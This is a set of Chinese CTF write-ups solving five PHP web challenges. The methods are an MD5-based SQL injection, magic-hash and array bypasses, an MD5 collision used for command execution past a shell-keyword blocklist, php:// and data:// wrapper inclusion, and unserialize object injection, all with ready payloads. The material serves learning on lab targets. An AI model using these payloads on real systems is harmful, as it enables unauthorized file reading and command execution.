[BJDCTF2020]Easy MD5
1.用burp抓包
回包有点信息,是个sql查询语句,后面的password经过MD5处理过了,有注入的漏洞
我们只需要把语句拼接为
select * from 'admin' where password=‘xxx’ or ‘1就可以绕过这个语句
查一下 ffifdyop的md5值可以是 xxx'or'1
2.输入后,到新界面,查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
构造例子 QNKCDZO 240610708
playload ?a=QNKCDZO&b=240610708
3.后到新界面
用数组绕过 payload: /?a[]=1&b[]=2
原理 md5()函数无法加密数组,两边都会返回NULL
[MRCTF2020]Ez_bypass
1.打开后如下
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}<br />
2.(md5($id) === md5($gg) && $id !== $gg)=true
传入数组,md5后都为null,但键值需不同
如 ?id[]=1&gg[]=2
3.(!is_numeric($passwd) && $passwd==1234567)=true
弱比较 post传入 passwd=1234567xxx 后得到flag
[安洵杯 2019]easy_web
1.对url中神似base64的编码 MzUzNTM1MmU3MDZlNjc= 解码 得到3535352e706e67
再解码得555.png
2.尝试对index.php像上面那样进行反加密,得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
输入url中
3.得到index.php源码的base64编码形式 解码后得到如下代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
......
4.观察可知,满足以下,即可执行输出cmd的命令
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
这里绕过MD5函数的比较,又因为强行进行了string转换,所以我们这里不能进行数组绕过md5;所以这里需要构造出满足这样条件的md5,如下
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
post提交
5.没有禁用dir,用其查看根目录
cmd=dir/
查找到flag
6.cat禁用,sort进行读取 cmd=sort/flag 得到flag
BUUCTF:[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
1.
这里我们肯定不存在一个文件,并且该文件的内容为welcome to the zjctf
所以可以使用data伪协议进行绕过
?text=data://text/plain,welcome to the zjctf
data://伪协议,是数据流封装器,和php://相似,都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过包含你输入的payload来实现目的。
格式:?file=data://text/plain,payload ?>
2.
我们可以使用php://filter伪协议查看源码
file=php://filter/read=convert.base64-encode/resource=useless.php
php://filter:
php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符分隔 | 可选 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符分隔。 | 可选 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
得到
PD9waHANCgkNCgkkZj1mb3BlbigicGhwOi8vb3V0cHV0IiwiYSIpOw0KCWZ3cml0ZSgkZiwidGhpcyBpcyBhIHNlbnRlbmNlIik7DQoJZmNsb3NlKCRmKTsNCj8+
base64解码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
3.
$password = unserialize($password);
echo $password;
构造Flag对象 序列化
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag
[网鼎杯 2020 青龙组]AreUSerialz 1
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
观察得知,这题为序列化和代码审计
1.
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
先看反序列化这段,get传参str,is_valid函数对这道题没影响,if中对str反序列化
2.
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
观察这两段,得知构造该类的对象时,使op=2,可运行read和output函数。
3.
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
看read函数这段,是读取文件内容,那么我们使filename为flag.php,便可通过op=2输出flag.php中的内容
4.写一段代码
<?php
class FileHandler {
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>
得到playload如下:
?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
5.转到新界面,查看源代码,得到flag